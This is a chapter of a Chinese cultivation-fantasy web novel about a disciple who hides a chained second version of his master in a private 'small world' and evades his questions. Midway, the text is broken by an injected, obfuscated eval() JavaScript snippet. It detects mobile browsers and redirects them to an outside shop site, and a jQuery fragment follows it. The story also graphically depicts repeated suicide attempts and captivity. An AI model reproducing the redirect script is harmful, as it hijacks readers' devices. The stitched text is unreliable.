叶伶舟真想给自己这张没把门的嘴狠狠来上几下,再拿根针缝起来。

    目光飘忽,“没...弟子说错了。”

    谢池书心中却是有了些猜测。

    莫不是那个在小舟腕上留下了指痕,且极大概率住在小世界的人也对小舟说过类似的话。

    小舟与那个人......究竟是何关系。

    若只是朋友,为何不愿告诉他。

    还是说那个人的身份不太寻常,不方便让他知晓?

    看着因为心虚而开始自顾自闷头扒饭吃的叶伶舟,谢池书试探着又提起了曾经问过的问题:“师尊能去小舟的小世界看看吗?”

    叶伶舟一惊,饭粒呛进了气管,咳得他撕心裂肺。

    “没咳咳......没必要吧咳咳咳......”

    谢池书给人拍背顺气,结果把叶伶舟拍得抖得更厉害了。

    “别、别碰!”

    谢池书这才想起弟子如今过于敏感的体质,歉意收回手,“抱歉。”

    他递过去一杯水,“小舟不愿意让师尊去,是小世界里面有不方便的东西?”

    叶伶舟抿了口水,缓过气来,目移,确实有不方便的东西,有个被链子捆起来的您。

    怕您看见了直接吓跑,所以弟子是为了您好才不让您去的。

    “就是放了些弟子的私人物品,没什么好看的。”

    又一次被拒绝,谢池书垂下眼。

    “这样吗......”

    他捏着筷子,仔细挑着鱼肉中的鱼刺,挑完后还用灵力复挑了一遍,然后将一大块雪白的鱼肉放到叶伶舟碗中。

    “也是,小舟长大了,有自己的秘密了。”

    “不愿意告诉师尊也正常。”

    这幽怨的语气,委屈的语调,听得叶伶舟起了一身的鸡皮疙瘩。

    若是换做旁的事,师尊想做什么都行,捅他一剑助助兴都没问题。

    但唯独去小世界不行。

    眼前的这个师尊是属于大家的,里面的那个就必须只属于他一个人 。

    于是叶伶舟假装没有听到,埋头苦吃。

    谢池书自然看得出来这是又一次无声的婉拒。

    无奈,他只能先放下这个话题。

    倒是叶伶舟想起来件事。

    师尊都向他道过歉了,他也得向师尊道个歉才对。

    于是他出声道:“师尊。”

    正在剔骨的谢池书看向他,“嗯?”

    叶伶舟抓抓头发,“在苍雾峰的时候,弟子对您的语气不太好,话也不好听,对不起。”

    “您还是很厉害的,真的打起来弟子肯定打不过您。”

    “也不该弄脏您的本命灵剑,下次肯定不会了。”

    谢池书静静听完,揉了揉叶伶舟脑袋。

    “不用道歉,小舟你说的都是实话。”

    “师尊什么忙都帮不上你,反倒是给你添了乱,要道歉也该是师尊向你道歉。”

    他轻声,“现在师尊保护不了你了,小舟会不会嫌弃师尊没用?”

    “当然不会!”叶伶舟毫不犹豫道:“师尊永远是师尊,是弟子最崇拜的人。”

    “而且师尊真要打不过弟子才好呢,我就可以为所欲为了嘿嘿......”

    意识到自己说了什么,叶伶舟猛地刹口。

    然而已经晚了。

    谢池书错愕看着他,仿佛在怀疑自己听到的,“为所欲为?”

    小世界的谢池疏失笑。

    可不就是为所欲为,都将他这个师尊锁床上了。

    虽然除了锁床上以外别的什么都没做。

    不知道是不是他的错觉,谢池疏总觉得小舟在这个“自己”的面前要收敛不少,不似在他面前那般口无遮拦。

    叶伶舟眼前一黑。

    这张破嘴啊啊啊啊,真想直接撕烂得了!

    再把舌头割了,声带拔了,省得老是说些不该说的话。

    谢池书神情有些不自在,“小舟你...对师尊......”

    “不是不是不是!”叶伶舟连忙打断,“您误会了,弟子不是这个意思。”

    见师尊不相信,他直接并起四指,“弟子发誓,对师尊您绝无半分师徒之外的感情,如若违背,不得好——唔?”

    剩下的话被捂了回去。

    抬眼,师尊蹙眉看着他,“不许胡说八道。”

    “唔唔。”

    谢池书松开手,眉头却未曾舒展。

    不知为何,他心里有些不舒服。

    就算小舟当真已经对他不再有风月之情,也没必要立那般狠毒的誓言。

    倒显得,像是迫不及待要与他划清界限。

    叶伶舟悄悄瞄了眼谢池书,感觉气氛怪怪的。

    他试探道:“其实,师尊您当年假装看不懂情诗的事情,弟子已经知道了。”

    谢池书回神,“师尊知道,之前斋阳同我说了。”

    “这厮怎么话这么多。”叶伶舟不爽地啧了声,“还是揍他揍轻了......”

    意识到师尊还在旁边,他又收敛了到嘴边的骂骂咧咧,乖巧坐直。

    “所以师尊您放心吧,弟子那时候就是误把呃......误把父子之情当成爱慕了,现在早就清醒了,对您绝对不会有任何非分之想。”

    顿了顿,他又认真夸道:“师尊您演得真好,要不是斋阳说,弟子当真一直以为您是没看懂。”

    话说到这份上,谢池书完全不知道该怎么接。

    总不好说多谢夸奖。

    想了想,他问道:“那小舟,你如今有喜欢的人吗?”

    叶伶舟义正言辞,“没有,绝对没有,弟子一心只想弄死天道。”顺便再私藏个师尊玩玩。

    这边这个师尊总给他一种比小世界的师尊正经的感觉,弄得他都不敢乱说话。

    谢池书点点头,莫名松了口气:“如果哪天有喜欢的人了,记得一定要带过来让师尊把关。”

    叶伶舟笑眯眯,“不会有的。”

    “小舟这般肯定?”

    “嗯呐。”叶伶舟又啃了块排骨,歪过脑袋,“倒是师尊您都几千岁了,什么时候给弟子找个师娘,再生个娃娃,弟子给您带孩子。”

    谢池书不大适应这种话题,尤其还是同自己的弟子聊。

    他轻敲叶伶舟额头,“没大没小,还管起师尊来了。”

    他弯起眉眼,“师尊只要小舟一个孩子就够了。”

    ——

    夜晚。

    叶伶舟想着,这下总算能让他离开了吧。

    却见师尊将被褥一换,然后拍拍床榻,“小舟今晚就睡师尊这里吧。”

    叶伶舟下意识倒退两步,“这不大合适吧。”

    怎么这个师尊也想要陪睡,难道他的身体除了能当武器,其实还有助眠的功能?

    “而且弟子现在的状态也不适合睡床。”

    躺上去这皮肤的接触范围扩大了不知道多少倍,哪里还可能睡得着。

    谢池书若有所思,“是师尊疏忽了。”

    叶伶舟松了口气,“那时辰也晚了,弟子就先——”

    谢池书不知打哪取出了点心、茶......甚至还有一炉安神香,兴致勃勃摆上桌案。

    “既是如此,小舟今夜便与师尊夜谈一番吧。”

    叶伶舟:“夜什么?”

    “夜谈。”

    “什么谈?”

    谢池书无奈将快要夺门而出的叶伶舟揪了回来,“小舟,自从师尊回来你便一直说有事忙,此刻得了空闲,也不愿分些时间给师尊吗?”

    衣领被揪住,后颈被师尊的指节蹭过,叶伶舟轻颤。

    “弟子只是觉得师尊应该有更重要的事。”

    “师尊能有什么事?”

    “就比如操心一下天下苍生什么的。”

    谢池书温柔将人按到椅子上,又给叶伶舟倒了一杯热茶,再取出一碟点心。

    “师尊此前也说了,更想与小舟好好谈心。”

    叶伶舟简直如坐针毡。

    “心......有什么好谈的。”

    谢池书在一旁坐下,也给自己倒了一杯茶,“以往小舟不是很喜欢与师尊分享经历的事情吗,师尊如今也想听听这些年小舟身上发生的事情。”

    叶伶舟一愣,“这些年发生的事?”

    小世界当中,谢池疏不自觉集中了精神。

    这些天他也曾询问过小舟这些年的经历,可叶伶舟口中永远只有旁人如何如何,天道如何如何,从无他自己。

    就算有,也只是一句剿灭了天道带过。

    “没什么好听的,斋阳不是都同您说过了吗。”叶伶舟低头玩起了茶杯,“他隐瞒的那部分您今日也看到了。”

    谢池书:“师尊更想听小舟自己说。”

    叶伶舟:“就......意外发现自己挺好使,然后把天道打废了,就这样啊。”

    一块点心喂了过来,叶伶舟下意识张嘴,任由师尊喂进口中。

    甜甜的,好吃。

    谢池书:“师尊想听的不是这个,小舟是如何发现这条道的,是如何熟练的,又是如何拼凑回师尊神魂的?”

    一连串的问题砸下来,叶伶舟发现自己愣是没有一个敢回答的。

    不愧是师尊,针针见血啊。

    他要怎么说?

    说你死后第二天我就打算死一下给你当陪葬品?

    还是说因为发现自己死不掉,所以报复性折磨自己,结果倒是把天道也一块儿折磨了?

    至于最后一个问题......

    反正他不管回答哪一个,今晚怕是都要喜提来自师尊的关爱了。

    不是被架在腿上打屁股就是被按在床上打屁股。

    总归逃不开。

    所以绝对不能回答。

    叶伶舟捧着茶杯战术喝水,含含糊糊:“记不太清了,反正就跟今天差不多。”

    见师尊还要追问的样子,他索性直接往案桌上一趴。

    “弟子困了,先睡了。”

    谢池书的话被堵了回去,他无奈看着这个恨不得把自己缩进蜗牛壳的弟子。

    舍不得说,舍不得训,更舍不得打。

    还能怎么办,只能纵容着。

    当师尊当到他这样还要看弟子态度的地步,放眼整个修仙界怕是也就他一个了。

    “这样趴着不会难受吗?”

    叶伶舟不吭声。

    谢池书:“小舟这么快就睡着了?”

    叶伶舟仍旧不吭声,甚至还有模有样地打起了呼噜,将装睡进行到底。

    谢池书好气又好笑,但他也不去拆穿,只道:“看来是真的困了。”

    叶伶舟埋着脑袋,想着等师尊觉得无聊,去睡了或者离开了,他就立刻跑路,一头栽进小世界绝对不出来了。

    还是小世界的师尊更有安全感,被链子锁住了,没法对他拉拉扯扯。

    要不要顺便给师尊带些吃的呢,干脆把桌上的点心带走好了。

    这蜜枣酥一吃就知道是师尊亲手做的,带回去让师尊尝尝自己的手艺。

    想得正入神,耳边突然响起悦耳的琴声。

    叶伶舟一愣,很快反应过来这是师尊在弹琴。

    刚要抬头,想起来自己正在装睡,于是悄悄竖起耳朵。

    师尊以前也尝试过教他弹琴,不过在他一天弹断五把琴之后遗憾放弃了这个想法。

    叶伶舟完全就没有琴棋书画这方面的天赋,跟风雅沾边的他都不行,倒是破坏力挺强。

    谢池书注意到了叶伶舟微动的脑袋,无声轻笑,指尖拨过琴弦。

    宛转悠扬的琴声回荡在室内,配合着安神香,让人不自觉放松下来。

    渐渐的,叶伶舟感受到一阵困意。

    师尊不会是故意在催眠他吧?

    这样的念头冒出来没多久,疲倦感涌了上来,叶伶舟当真迷迷糊糊睡了过去。

    琴声持续了许久才停下。

    谢池书收起琴,起身走到桌边。

    叶伶舟睡得正香,原先埋进臂弯的脑袋也侧了过来,半边面颊枕在胳膊上,弄出了浅浅红印。

    谢池书弯腰,想将人抱起来,然而手只是刚扶上腰,熟睡中的人便轻轻颤抖起来。

    连睡着之后都这般敏感吗。

    他只能又松开手,不再尝试去移动好不容易哄睡着的弟子。

    在一旁坐下,安静看着叶伶舟的睡颜,不知不觉间,竟是也支着脑袋睡过去。

    小世界中,谢池疏见这一幕,心说看来今夜小舟是真的不会回来了。

    心头有些失落,自他复生回来,小舟还是头一回没有陪在他身边。

    扫视空荡荡的屋子,竟是不大适应。

    还说什么外边的师尊没有他重要呢,这就把他给忘了。

    无事可做,谢池疏干脆再一次思考起关于换道的事情。

    有一件事他已经下了决心,那便是不再走苍生大道,哪怕他如今还不曾清晰自己究竟所求为何。

    索性他如今被小舟关在这小世界,倒不如趁早废弃了苍生大道。

    就是不知修为会跌落到什么地步......

    沉浸在思绪当中,一阵倦意突如其来,意识便陷入了模糊。

    ——

    再恢复意识的时候,谢池书听见了一些响动。

    是小舟醒了吗。

    他睁开眼,却发现自己并不在桌旁,而小舟也不见了踪影。

    这里似乎并不是他的寝屋。

    或者说,不是他如今的寝屋。

    看布置,是一百年前的,他回来之后有更换过一些摆件。

    身后传来动静,谢池书转身。

    瞳孔骤缩。

    在不远处的角落,叶伶舟蜷缩靠坐在墙旁。

    一身白衣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713921|208489||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被染红,被划烂的手腕不断涌着血。

    他举起长剑,狠狠朝心脏捅去。

    谢池书匆忙要去阻止,手却无法碰到叶伶舟。

    他怔怔看着自己穿透而过的手,似乎明白了什么。

    这里是小舟的记忆,他看到的是曾经发生过的一切。

    是因为神魂由小舟拼凑,所以沾得了一些记忆吗?

    剑刃自叶伶舟后背穿透而出,贯穿心脏。

    “小舟!”

    叶伶舟听不见他的声音,也看不见他,只是拔出了剑,呆滞看向自己洞穿的胸腔。

    “为什么死不掉......为什么......”

    叶伶舟喃喃自语着,再一次握起了剑。

    哪怕知道无法阻止,谢池书还是下意识挡在剑与叶伶舟之间。

    可只是徒劳无功,他就像一抹魂魄,只能看着剑刃穿过他的身影,落在弟子的身上。

    这一刻,他隐约明白叶伶舟是如何走上这条道的了。

    寒光闪过,叶伶舟的脖颈几乎被斩断。

    不堪重负的颈骨断裂,他的脑袋歪向一边,鲜血狂涌,白色的衣衫浸泡在血泊中,画面能叫看见的人惊惧不已。

    可就算这样,叶伶舟还活着。

    他的皮肉以越来越快的速度愈合,脑袋不受控制地回到正位,颈骨重接。

    想死没死成......

    同样进入了回忆的谢池疏怔然,叶伶舟说过的这句话回荡在他耳边,再听不见其他的声音。

    当时叶伶舟只是一句带过,却不想惨烈至此。

    眼前的人再一次举起了长剑,谢池疏仓皇扭过头去,不敢再看。

    这时,寝屋的门猛然被推开

    斋阳快步走进来,面上带着焦急与担忧。

    扑面而来的浓烈血腥气让他有了不好的预感,待到看清昏暗屋内的场景,他的神情变作惊惶,立刻扬手挥出一道灵力打飞了那把剑。

    “你在做什么?!”

    叶伶舟充耳不闻,干脆就这样直接将手朝心口的血洞挖去,像是恨不得直接将这颗还在跳动的心脏挖出来捏碎。

    斋阳一把抓住他的手,皱眉刚要说话,剧痛在掌心炸开。

    他下意识松开手,看向掌心,竟是已经被沾上的那些血侵蚀没了皮肉,好几处露出森森白骨。

    不可置信看向叶伶舟,“你的血......”

    见叶伶舟捡回了那把剑,他连忙捏了个法决想要控制住人。

    恐怖的事情发生了,他的灵力碰到那些血,顷刻间就被侵蚀破坏,甚至反向朝他蔓延而来。

    不得已,斋阳只能收回灵力。

    “叶伶舟你清醒一点,你忘记你师尊对你说过什么了吗!”

    听到师尊两个字,叶伶舟才算对外界有了些许反应。

    他不再寻死,安静下来,坐在血泊中仰起头看向斋阳。

    似乎在回忆,又似乎只是在发呆。

    他的声带还没愈合,许久才发出些嘲哳嘶哑的声音。

    “师尊让我好好活下去。”

    至少,他做到了后半句。

    ——

    从这场久远的记忆中醒过来,叶伶舟觉得自己的脑瓜子在嗡嗡作响。

    真是年纪越大越爱回忆过去,他这个百岁老人也免不了。

    坐起身,发现师尊居然也睡着了。

    而且还睡得挺沉,不知道是做了什么噩梦,眉头一直皱着。

    大概是在操心修仙界的事情吧,毕竟师尊一直都是这样没活找活干的大圣人。

    悄悄站起身,裹了裹有些散开的外袍,裹得自己一个激灵。

    提起桌上的点心,咬破指尖挤出点血,原地溜了。

    叶伶舟走后不久,谢池书睁开了眼。

    他呼吸急促,心有余悸。第一时间望向叶伶舟之前所在的地方,迫切的想要看一眼活生生的小舟来让自己恐慌的心平定下来。

    可人已经离开了。

    连仅仅一夜都不愿与他待在一处。

    谢池书眸色渐暗,面上神情淡去。

    小舟就这般迫不及待要去小世界见那个人吗?

    还是以那副衣衫不整,丝毫不设防的模样......

    小世界。

    叶伶舟鬼鬼祟祟将门打开一条缝,探进去一个脑袋。

    也不知道师尊睡了没有。

    屋内一片黑暗,叶伶舟看不清,又将脖子伸长了一些。

    “在门口站着做什么。”谢池疏的声音在黑暗中响起。

    场面十分熟悉。

    他好像每次回小世界都要来这么一通。

    怎么感觉师尊的语气有些冷,是嫌他回来太晚了吗?

    叶伶舟点亮灵灯,与谢池疏对上目光。

    谢池疏看着他,“怎么穿成这样?”

    叶伶舟眉眼弯弯,“喜欢师尊的衣服,就偷来穿了。”

    “怎么出去那么久?”

    “喔,外面的师尊找弟子聊天,就耽搁了一会儿。”

    谢池疏:“出去是什么事,有没有受伤。”

    这一句叶伶舟答得特别快,“没有啊,您看弟子不是好好的吗。”

    听见这些不出所料的回答,谢池疏一时气而反笑。

    目光向下,看见那双赤着的脚,踩在门口不曾铺绒毯的地面,雪白皮肤泛红。

    的确是好好的,好到连衣服都没法穿,好到一心求死,好到对他这个师尊没了一句实话。

    他想,果然还是需要教育一番。

    有时候就不该对弟子太过纵容。

    谢池疏将床沿的桌案移开一些位置,淡淡道:“过来。”

    叶伶舟后背莫名一凉。

    不仅没过去,还往后退了一步。

    谢池疏目光望来,“需要师尊说第二次吗?”

    这话一出,叶伶舟呼吸都不敢用力了。

    哪怕知道就算他不过去,师尊也奈何不了他,却还是心头发怵。

    从小被师尊养大而带来的天然顺从让他身体不受控制乖乖走了过去。

    在床沿站定,叶伶舟紧张揪着衣袖。

    “师尊......是有什么事吗?”

    谢池疏向他伸手。

    叶伶舟愣愣,试探着将自己的手搭了上去。

    指尖相触的那一刻,他身子轻颤。

    以往这种程度的肢体接触分明还是能够忍受的,可每每接触的人换做师尊,敏感度似乎就还要更放大数倍。

    不过下一刻,叶伶舟就没有空余想这些有的没的了。

    视野颠倒,他的脑子完全来不及反应,人就扑倒在了谢池疏膝上,脑袋朝下。

    链条晃动,伴随着谢池疏温润却冷淡的嗓音,“对师尊说谎,该打。”

    叶伶舟的后腰被牢牢按住。

    “啪!”

    谢池疏骨节分明的手高高扬起,又重重落下在柔软处。